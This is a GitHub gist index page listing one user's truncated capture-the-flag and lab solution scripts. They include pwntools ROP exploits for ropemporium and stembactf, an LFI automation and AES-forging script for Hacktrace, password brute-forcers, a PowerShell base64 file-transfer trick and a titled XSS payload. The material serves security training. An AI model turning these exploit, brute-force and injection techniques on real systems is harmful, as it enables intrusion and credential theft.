Skip to content

Instantly share code, notes, and snippets.

@sharpicx
sharpicx / kek.svg
Last active February 16, 2024 04:04
xss payload for xmlhttprequest
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@sharpicx
sharpicx / lfi.js
Last active October 15, 2023 03:28
Galz - Hacktrace (bruteforcing admin pages & Automating LFI)
var cryptojs = require("crypto-js");
var axios = require("axios");
var cheerio = require("cheerio");
var readline = require("readline");
function decrypt(data) {
const key = cryptojs.enc.Hex.parse("0123456789abcdef0123456789abcdef");
const iv = cryptojs.enc.Hex.parse("abcdef9876543210abcdef9876543210");
const bytes = cryptojs.AES.decrypt({ciphertext: cryptojs.enc.Base64.parse(data)}, key, {iv: iv});
return console.log(bytes.toString(cryptojs.enc.Utf8));
@sharpicx
sharpicx / fuck.ps1
Last active October 12, 2023 00:01
File Sharing via Powershell (Windows)
# encode
[convert]::ToBase64String((Get-Content ".\test.exe" -Encoding Byte)) > test.txt
# decode
$file = Get-Content ".\test.txt" -Encoding UTF8
[io.file]::WriteAllBytes("name.file", [convert]::FromBase64String($file))
@sharpicx
sharpicx / 021.sh
Last active September 30, 2023 17:07
hackmyvm - chall 021
# crunch 6 6 -t P8%%%% -o words.txt
function main() {
for i in $(cat ./words.txt); do
res=$(echo $i | ./download.elf)
echo $res
correct=$(echo $i | ./download.elf | cut -f3 -d ' ')
if [[ "$correct" == "Correct" ]]; then
echo "Password found: $i"
break
fi
@sharpicx
sharpicx / fuck.js
Last active January 23, 2024 13:45
Hacktrace - Autobot (X-Signature & AES)
/*
made by sharpicx @ sharpicx.eu.org
*/
var https = require("https");
var axios = require("axios");
var cryptoJS = require("crypto-js");
const url = "https://autobot.htr/details.php";
@sharpicx
sharpicx / exploit.py
Last active September 7, 2023 08:00
ropemporium - split (x64)
# intended path
from pwn import *
context(arch='amd64', os='linux', log_level='DEBUG')
e = ELF('./split')
p = process(e.path)
pop_rdi = p64(0x00000000004007c3)
offset = 40
@sharpicx
sharpicx / exploit.py
Created September 7, 2023 05:47
ropemporium - ret2win (x64)
from pwn import *
context(arch='amd64', os='linux', log_level='DEBUG')
e = ELF('./ret2win')
p = process(e.path)
offset = 40
payload = b''
payload += b'A' * offset
payload += p64(0x0000000000400764)
@sharpicx
sharpicx / decrypt.py
Last active August 22, 2023 12:01
hackthebox - jet (secret message) | creating permutations using crunch to get the actual key.
# the actual encrypt.py is from the hackthebox machine.
import binascii
def superDecrypt(hexVal, keyVal):
keyPos = 0
key = makeList(keyVal)
decrypted = []
for i in range(0, len(hexVal), 2):
byte = hexVal[i:i+2]
decrypted.append(chr(int(byte, 16) ^ ord(key[keyPos])))
@sharpicx
sharpicx / exploit.py
Last active August 21, 2023 20:52
stembactf - ret2ctf
# 0xh3rshel taught me about this challenge, thanks!
from pwn import *
context(arch="amd64", os='linux', log_level="DEBUG")
e = ELF("./chall", checksec=True)
rop = ROP(e)
p = e.process()
r = remote("stembactf.space", 5204)
@sharpicx
sharpicx / brute.sh
Created August 16, 2023 18:18
hackmyvm - inkplot
#! /bin/bash
wordlist="/opt/seclists/Passwords/Leaked-Databases/rockyou.txt"
while IFS= read -r line; do
hash=$(echo $line | md5sum | awk '{print $1}')
if [[ "$hash" == d51540* ]]; then
echo "plain: $line"
echo "hash: $hash"
fi